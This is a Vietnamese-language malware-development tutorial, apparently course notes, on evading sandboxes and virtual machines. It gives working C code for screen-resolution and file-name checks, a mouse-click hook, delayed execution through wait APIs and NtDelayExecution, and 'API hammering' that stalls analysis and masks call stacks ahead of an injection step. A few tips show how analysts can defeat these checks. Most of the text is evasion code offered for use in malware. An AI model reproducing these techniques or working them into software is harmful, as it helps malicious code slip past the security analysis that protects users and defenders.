Sau khi có chiều rộng và chiều dài thì ta tiến hành so sánh chúng với các giá trị mà ta cho là hợp lý ở trên để kiểm tra sự hiện diện của sandbox:

// The callback function called whenever 'EnumDisplayMonitors' detects an display
BOOL CALLBACK ResolutionCallback(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lpRect, LPARAM ldata) {
	
	int             X       = 0,
	                Y       = 0;
	MONITORINFO     MI      = { .cbSize = sizeof(MONITORINFO) };
 
	if (!GetMonitorInfoW(hMonitor, &MI)) {
		printf("\n\t[!] GetMonitorInfoW Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
 
	// Calculating the X coordinates of the desplay
	X = MI.rcMonitor.right - MI.rcMonitor.left;
	
	// Calculating the Y coordinates of the desplay
	Y = MI.rcMonitor.top - MI.rcMonitor.bottom;
 
	// If numbers are in negative value, reverse them 
	if (X < 0)
		X = -X;
	if (Y < 0)
		Y = -Y;
	
	if ((X != 1920 && X != 2560 && X != 1440) || (Y != 1080 && Y != 1200 && Y != 1600 && Y != 900))
		*((BOOL*)ldata) = TRUE; // sandbox is detected
 
	return TRUE;
}

Cuối cùng, ta truyền callback vào tham số thứ 3 của EnumDisplayMonitors:

BOOL CheckMachineResolution() {
 
	BOOL	SANDBOX		= FALSE;
	
	// SANDBOX will be set to TRUE by 'EnumDisplayMonitors' if a sandbox is detected
	EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)ResolutionCallback, (LPARAM)(&SANDBOX));
	
	return SANDBOX;
}

Có thể thấy, cờ SANDBOX được truyền vào EnumDisplayMonitors sẽ được dùng để chứa kết quả nhận diện sandbox.

Tip

Nếu sử dụng máy ảo, ta có thể bypass được kiểm tra trên của malware bằng cách chỉnh độ phân giải.

Anti-Virtualization Via File Name

Các sandbox thường thay đổi tên file thực thi của malware để dễ phân loại chẳng hạn như đổi thành giá trị băm MD5 của file. Dựa vào đặc điểm này, ta có thể kiểm tra sự hiện diện của sandbox.

Cụ thể hơn, ta sẽ gọi hàm GetModuleFileNameA để lấy tên file (có chứa đường dẫn) của tiến trình hiện tại.

CHAR	Path			[MAX_PATH * 3];
 
// Getting the current filename (with the full path)
if (!GetModuleFileNameA(NULL, Path, MAX_PATH * 3)) {
	printf("\n\t[!] GetModuleFileNameA Failed With Error : %d \n", GetLastError());
	return FALSE;
}

Sau đó sử dụng hàm PathFindFileNameA để tách tên file từ đường dẫn:

CHAR	cName			[MAX_PATH];
 
// Prevent a buffer overflow - getting the filename from the full path
if (lstrlenA(PathFindFileNameA(Path)) < MAX_PATH)
	lstrcpyA(cName, PathFindFileNameA(Path));

Cuối cùng, sử dụng hàm isdigit để xác định số lượng ký tự là số ở trong tên file.

DWORD   dwNumberOfDigits	= NULL;
 
// Counting number of digits
for (int i = 0; i < lstrlenA(cName); i++){
	if (isdigit(cName[i]))
		dwNumberOfDigits++;
}
 
// Max digits allowed: 3 
if (dwNumberOfDigits > 3){
	return TRUE;
}

Nếu có hơn 3 ký tự là số thì ta xác định đây là sandbox.

Tip

Để giả lập việc đổi tên file nhị phân của sandbox, ta có thể cấu hình để Visual Studio biên dịch malware thành một tên file tùy ý.

Tham khảo: c# 4.0 - How to change the output name of an executable built by Visual Studio - Stack Overflow

Anti-Virtualization Via Number Of Running Processes

Một cách khác để phát hiện môi trường ảo hóa là số lượng các tiến trình đang chạy do sandbox cài rất ít chương trình. Trong khi đó, hệ thống Windows thường có ít nhất 60-70 tiến trình cùng chạy.

Tất nhiên, cách làm này không giúp xác định được sự hiện diện của máy ảo một cách chắc chắn.

Để có được số lượng các tiến trình, ta sẽ sử dụng các kỹ thuật enum tiến trình chẳng hạn như [[MalDev - Process Enumeration#enumprocesses|EnumProcesses]] hay [[MalDev - Process Enumeration#ntquerysysteminformation|NtQuerySystemInformation]].

Anti-Virtualization Via User Interaction

Sandbox thường chạy trong môi trường headless mà không có màn hình hay các thiết bị ngoại vi chẳng hạn như chuột hoặc bàn phím. Môi trường headless thường được chạy bởi script hoặc tool và thiếu đi sự tương tác của người dùng. Đặc điểm này có thể được dùng làm dấu hiệu nhận biết sandbox. Ví dụ, malware có thể kiểm tra xem môi trường thực thi malware có bất kỳ sự kiện click chuột hoặc nhấn phím nào trong một khoảng thời gian nhất định hay không.

Như đã mô tả ở Using Windows APIs, ta có thể theo dõi sự kiện click chuột bằng cách sử dụng API hooking thông qua hàm SetWindowsHookExW rồi đếm số lần click chuột:

// Global hook handle variable
HHOOK g_hMouseHook      = NULL;
// Global mouse clicks counter
DWORD g_dwMouseClicks   = NULL;
 
LRESULT CALLBACK HookEvent(int nCode, WPARAM wParam, LPARAM lParam){
 
    // WM_RBUTTONDOWN :         "Right Mouse Click"
    // WM_LBUTTONDOWN :         "Left Mouse Click"
    // WM_MBUTTONDOWN :         "Middle Mouse Click"
 
    if (wParam == WM_LBUTTONDOWN || wParam == WM_RBUTTONDOWN || wParam == WM_MBUTTONDOWN) {
        printf("[+] Mouse Click Recorded \n");
        g_dwMouseClicks++;
    }
 
    return CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
}
 
BOOL MouseClicksLogger(){
    
    MSG         Msg         = { 0 };
 
    // Installing hook 
    g_hMouseHook = SetWindowsHookExW(
        WH_MOUSE_LL,
        (HOOKPROC)HookEvent,
        NULL,
        NULL
    );
    if (!g_hMouseHook) {
        printf("[!] SetWindowsHookExW Failed With Error : %d \n", GetLastError());
    }
 
    // Process unhandled events
    while (GetMessageW(&Msg, NULL, NULL, NULL)) {
        DefWindowProcW(Msg.hwnd, Msg.message, Msg.wParam, Msg.lParam);
    }
    
    return TRUE;
}

Cụ thể hơn, ta sẽ thực hiện đếm số lần sự kiện click chuột xảy ra trong khoảng 20 giây:

// Monitor mouse clicks for 20 seconds
#define MONITOR_TIME   20000 
 
int main() {
	HANDLE  hThread         = NULL;
	DWORD   dwThreadId      = NULL;
	
    // running the hooking function in a seperate thread for 'MONITOR_TIME' ms
    hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)MouseClicksLogger, NULL, NULL, &dwThreadId);
    if (hThread) {
        printf("\t\t<<>> Thread %d Is Created To Monitor Mouse Clicks For %d Seconds <<>>\n\n", dwThreadId, (MONITOR_TIME / 1000));
        WaitForSingleObject(hThread, MONITOR_TIME);
    }
 
	// ...
}

Nếu có nhiều hơn 5 lần click chuột thì ta khẳng định không có sandbox và ngược lại:

// if less than 5 clicks - its a sandbox
if (g_dwMouseClicks > 5)
	printf("[+] Passed The Test \n");
else
	printf("[-] Posssibly A Virtual Environment \n");

Anti-Virtual Environments - Multiple Delay Execution Techniques

Sandbox thường bị giới hạn thời gian thực thi nên chúng ta có thể gây ra độ trễ nhất định để khiến cho sandbox bị tắt trước khi nó có thể phân tích malware.

Detecting Fast-Forwards

Một vài sandbox lại triển khai các cách để ngăn cản việc delay chẳng hạn như rút ngắn thời gian delay thông qua API Hooking. Do đó, để đảm bảo thời gian delay không bị rút ngắn, ta cần kiểm tra bằng cách dùng hàm GetTickCount64.

Cụ thể, ta sẽ lấy 2 mốc thời gian là trước và sau khi delay xảy ra rồi tính hiệu của chúng để xác định thời gian delay thực sự:

BOOL DelayFunction(DWORD dwMilliSeconds){
 
  DWORD T0 = GetTickCount64();
  
  // The code needed to delay the execution for 'dwMilliSeconds' ms
  
  DWORD T1 = GetTickCount64();
  
  // Slept for at least 'dwMilliSeconds' ms, then 'DelayFunction' succeeded
  if ((DWORD)(T1 - T0) < dwMilliSeconds)
    return FALSE;
  else
    return TRUE;
}

Nếu thời gian delay ít hơn so với lượng dwMilliSeconds mà ta quy định thì đồng nghĩa với việc malware được chạy ở trong môi trường sandbox.

Delaying Execution Via WaitForSingleObject

Chúng ta có thể sử dụng WaitForSingleObject để thực hiện delay trong một khoảng thời gian nhất định bằng cách chờ một event rỗng (được tạo ra bằng cách truyền NULL vào 4 tham số của hàm CreateEvent):

BOOL DelayExecutionVia_WFSO(FLOAT ftMinutes) {
 
  // converting minutes to milliseconds
  DWORD     dwMilliSeconds  = ftMinutes * 60000;
  HANDLE    hEvent          = CreateEvent(NULL, NULL, NULL, NULL);
  DWORD     _T0             = NULL,
            _T1             = NULL;
 
 
  _T0 = GetTickCount64();
  
  // Sleeping for 'dwMilliSeconds' ms 
  if (WaitForSingleObject(hEvent, dwMilliSeconds) == WAIT_FAILED) {
    printf("[!] WaitForSingleObject Failed With Error : %d \n", GetLastError());
    return FALSE;
  }
 
  _T1 = GetTickCount64();
 
  // Slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_WFSO' succeeded, otherwize it failed
  if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
    return FALSE;
 
  CloseHandle(hEvent);
 
  return TRUE;
 
}

Giá trị của đối số dwMilliSeconds (thuộc kiểu DWORD) chính là số milliseconds mà ta cần delay. Lý do mà ta dùng đơn vị milliseconds là vì hàm GetTickCount64 trả về thời gian tính bằng milliseconds và ta cần sử dụng nó để đảm bảo việc delay được thực hiện thành công.

Delaying Execution Via MsgWaitForMultipleObjectsEx

Tương tự với WaitForSingleObject, ta cũng có thể sử dụng MsgWaitForMultipleObjectsEx để delay trong một khoảng thời gian nhất định:

HANDLE  hEvent            = CreateEvent(NULL, NULL, NULL, NULL);
 
if (MsgWaitForMultipleObjectsEx(1, &hEvent, dwMilliSeconds, QS_HOTKEY, NULL) == WAIT_FAILED) {
    printf("[!] MsgWaitForMultipleObjectsEx Failed With Error : %d \n", GetLastError());
}
 
CloseHandle(hEvent);

Delaying Execution Via NtWaitForSingleObject

Ta cũng có thể dùng syscall NtWaitForSingleObject (là phiên bản Native API của WaitForSingleObject) để delay trong một khoảng thời gian nhất định. Nguyên mẫu của syscall này:

NTSTATUS NtWaitForSingleObject(
  [in] HANDLE         Handle,       // Handle to the wait object
  [in] BOOLEAN        Alertable,    // Whether an alert can be delivered when the object is waiting
  [in] PLARGE_INTEGER Timeout       // Pointer to LARGE_INTEGER structure specifying time to wait for
);

Thời gian chờ của NtWaitForSingleObject được quy định là các khoảng âm 100-nanoseconds hay còn được gọi là các tick. Một tick tương ứng với 0.0001 miliseconds. Giá trị mà ta cần truyền vào tham số Timeout sẽ là giá trị âm của dwMilliSeconds * 10000 với dwMilliSeconds (thuộc kiểu DWORD) là số miliseconds mà ta cần delay.

Thực hiện delay với NtWaitForSingleObject:

HANDLE                  hEvent                  = CreateEvent(NULL, NULL, NULL, NULL);
LONGLONG                Delay                   = NULL;
LARGE_INTEGER           DelayInterval           = { 0 };
NTSTATUS                STATUS                  = NULL;
fnNtWaitForSingleObject pNtWaitForSingleObject  = (fnNtWaitForSingleObject)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtWaitForSingleObject");
 
// Converting from milliseconds to the 100-nanosecond - negative time interval
Delay = dwMilliSeconds * 10000;
DelayInterval.QuadPart = - Delay;
 
// Sleeping for 'dwMilliSeconds' ms 
if ((STATUS = pNtWaitForSingleObject(hEvent, FALSE, &DelayInterval)) != 0x00 && STATUS != STATUS_TIMEOUT) {
	printf("[!] NtWaitForSingleObject Failed With Error : 0x%0.8X \n", STATUS);
}
 
CloseHandle(hEvent);

Delaying Execution Via NtDelayExecution

Syscall NtDelayExecution được dùng để delay việc thực thi code phục vụ cho mục đích đồng bộ hóa. Syscall này tương tự với syscall NtWaitForSingleObject nhưng không cần phải tạo ra event. Nguyên mẫu của NtDelayExecution:

NTSTATUS NtDelayExecution(
	IN BOOLEAN              Alertable,      // Whether an alert can be delivered when the object is waiting
	IN PLARGE_INTEGER       DelayInterval   // Pointer to LARGE_INTEGER structure specifying time to wait for
);

Với thời gian delay cũng có đơn vị là tick giống với NtWaitForSingleObject. Thực hiện delay với NtDelayExecution:

LONGLONG            Delay                 = NULL;
LARGE_INTEGER       DelayInterval         = { 0 };
NTSTATUS            STATUS                = NULL;
fnNtDelayExecution  pNtDelayExecution     = (fnNtDelayExecution)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtDelayExecution");
 
// Converting from milliseconds to the 100-nanosecond - negative time interval
Delay = dwMilliSeconds * 10000;
DelayInterval.QuadPart = - Delay;
 
// Sleeping for 'dwMilliSeconds' ms 
if ((STATUS = pNtDelayExecution(FALSE, &DelayInterval)) != 0x00 && STATUS != STATUS_TIMEOUT) {
	printf("[!] NtDelayExecution Failed With Error : 0x%0.8X \n", STATUS);
}

Anti-Virtual Environments - API Hammering

API Hammering là một kỹ thuật dùng để bypass sandbox bằng cách gọi các hàm thuộc Windows API một cách ngẫu nhiên và liên tục nhằm gây ra delay ở trong chương trình.

Ngoài ra, kỹ thuật này còn được dùng để che giấu call stack chứa các hàm độc hại của các thread đang chạy bằng các lời gọi đến các Windows API vô hại.

I/O Functions

Chúng ta sẽ sử dụng 3 Windows API sau để thực hiện API Hammering CreateFileW - được sử dụng để tạo file. WriteFile - được sử dụng để ghi file. ReadFile - được sử dụng để đọc file.

Các API này được chọn do nó tiêu tốn một lượng tài nguyên khá lớn khi xử lý lượng dữ liệu lớn và từ đó mà có thể gây ra delay.

API Hammering Process

Ý tưởng tổng quát sẽ bao gồm một vòng lặp thực hiện 4 bước:

  1. Tạo file tạm.
  2. Ghi vào file một buffer có kích thước cố định.
  3. Đọc file tạm vào một buffer có kích thước cố định.
  4. Xóa file tạm.

Thư mục %TEMP% ở trong Windows thường chứa các file có đuôi là .tmp, được tạo ra bởi OS hoặc các ứng dụng của bên thứ 3 để chứa dữ liệu tạm thời trong các quá trình tính toán chẳng hạn như khi cài đặt ứng dụng hoặc tải file từ internet. Khi tác vụ kết thúc, các file tạm thường sẽ bị xóa.

Xây dựng đường dẫn đến file tạm mà ta sẽ tạo ở trong thư mục %TEMP%:

// File name to be created
#define TMPFILE	L"MaldevAcad.tmp"
 
WCHAR     szPath                  [MAX_PATH * 2],
		  szTmpPath               [MAX_PATH];
 
// Getting the tmp folder path
if (!GetTempPathW(MAX_PATH, szTmpPath)) {
	printf("[!] GetTempPathW Failed With Error : %d \n", GetLastError());
	return FALSE;
}
 
// Constructing the file path 
wsprintfW(szPath, L"%s%s", szTmpPath, TMPFILE);

Chúng ta sẽ sử dụng CreateFileW để tạo một file tạm ở trong thư mục %TEMP% của Windows dựa vào đường dẫn szPath ở trên:

HANDLE    hWFile                  = INVALID_HANDLE_VALUE,
 
if ((hWFile = CreateFileW(szPath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, NULL)) == INVALID_HANDLE_VALUE) {
	printf("[!] CreateFileW Failed With Error : %d \n", GetLastError());
	return FALSE;
}

Sau đó, tạo ra một buffer có kích thước cố định và giá trị ngẫu nhiên rồi ghi vào file sử dụng hàm WriteFile:

PBYTE   pRandBuffer               = NULL;
SIZE_T  sBufferSize               = 0xFFFFF;	// 1048575 byte
	
INT     Random                    = 0;
 
DWORD   dwNumberOfBytesWritten    = NULL;
		
// Allocating a buffer and filling it with a random value
pRandBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBufferSize);
Random = rand() % 0xFF;
memset(pRandBuffer, Random, sBufferSize);
 
// Writing the random data into the file
if (!WriteFile(hWFile, pRandBuffer, sBufferSize, &dwNumberOfBytesWritten, NULL) || dwNumberOfBytesWritten != sBufferSize) {
	printf("[!] WriteFile Failed With Error : %d \n", GetLastError());
	printf("[i] Written %d Bytes of %d \n", dwNumberOfBytesWritten, sBufferSize);
	return FALSE;
}

Kế đến, dọn dẹp buffer (gán giá trị 0) và đóng file handle:

// Clearing the buffer & closing the handle of the file
RtlZeroMemory(pRandBuffer, sBufferSize);
CloseHandle(hWFile);

Tiếp theo, sử dụng CreateFileW để lấy file handle cho việc đọc và sử dụng flag FILE_FLAG_DELETE_ON_CLOSE để xóa file khi handle bị đóng:

if ((hRFile = CreateFileW(szPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE, NULL)) == INVALID_HANDLE_VALUE) {
	printf("[!] CreateFileW Failed With Error : %d \n", GetLastError());
	return FALSE;
}

Đọc dữ liệu từ file vào buffer:

HANDLE    hRFile                  = INVALID_HANDLE_VALUE;
 
DWORD   dwNumberOfBytesRead       = NULL;
 
// Reading the random data written before 	
if (!ReadFile(hRFile, pRandBuffer, sBufferSize, &dwNumberOfBytesRead, NULL) || dwNumberOfBytesRead != sBufferSize) {
	printf("[!] ReadFile Failed With Error : %d \n", GetLastError());
	printf("[i] Read %d Bytes of %d \n", dwNumberOfBytesRead, sBufferSize);
	return FALSE;
}

Cuối cùng, dọn dẹp buffer, giải phóng vùng nhớ và đóng file handle:

// Clearing the buffer & freeing it
RtlZeroMemory(pRandBuffer, sBufferSize);
HeapFree(GetProcessHeap(), NULL, pRandBuffer);
 
// Closing the handle of the file - deleting it
CloseHandle(hRFile);

Chúng ta sẽ thực hiện tất cả các bước trên (trừ bước tìm đường dẫn của file tạm) trong một vòng lặp như sau:

BOOL ApiHammering(DWORD dwStress) {
	// ...
	// Getting the tmp folder path
	// ...
	for (SIZE_T i = 0; i < dwStress; i++) {
		// ...
	}
	
	return TRUE;
}

Delaying Execution Via API Hammering

Ta cần tính toán thời gian cần thiết để API Hammering thực hiện trong m vòng lặp.

int main() {
 
	DWORD	T0	= NULL,
            T1	= NULL;
 
	T0 = GetTickCount64();
 
	if (!ApiHammering(1000)) {
		return -1;
	}
 
	T1 = GetTickCount64();
 
	printf(">>> ApiHammering(1000) Took : %d MilliSeconds To Complete \n", (DWORD)(T1 - T0));
 
	printf("[#] Press <Enter> To Quit ... ");
	getchar();
 
	return 0;
}

Trong ví dụ bên dưới, ta đo được rằng API Hammering chạy 1000 vòng lặp hết 5.157 giây thì tỷ lệ giữa chúng sẽ là 1000 / 5.157 = 194. Điều này đồng nghĩa với việc mỗi 194 vòng lặp sẽ giúp chúng ta delay được 1 giây.

Note

Tỷ lệ này sẽ có đôi chút khác biệt tùy theo cấu hình của máy

Với tỷ lệ vừa tính được, ta định nghĩa được một macro như sau:

#define SECTOSTRESS(i)( (int)i * 194 )

Sau khi có macro trên thì ta có thể dùng nó để chuyển đổi từ số giây mà ta muốn delay sang số vòng lặp của API Hammering:

// Delay execution for '5' seconds worth of cycles
if (!ApiHammering(SECTOSTRESS(5))) {
	return -1;
}

API Hammering In a Thread

Chúng ta có thể thực thi API Hammering trong một thread khác main thread sử dụng hàm CreateThread để thực hiện mục đích che giấu call stack thực sự của các thread đang chạy.

int main() {
 
	DWORD dwThreadId = NULL;
 
 
	if (!CreateThread(NULL, NULL, ApiHammering, -1, NULL, &dwThreadId)) {
		printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
		return -1;
	}
 
	printf("[+] Thread %d Was Created To Run ApiHammering In The Background\n", dwThreadId);
 
 
	/*
	
		injection code can be here
 
	*/
 
 
	printf("[#] Press <Enter> To Quit ... ");
	getchar();
 
	return 0;
}

Trong đoạn code trên, ta truyền vào tham số thứ 4 (là đối số của hàm ApiHammering) giá trị -1 để vòng lặp có thể thực thi vô hạn (cho đến khi main thread kết thúc).

Resources

Footnotes

  1. Hàm này đã được dùng khi thực hiện kỹ thuật Thread Hijacking nhằm truy xuất thanh ghi RIP ở trong thread context.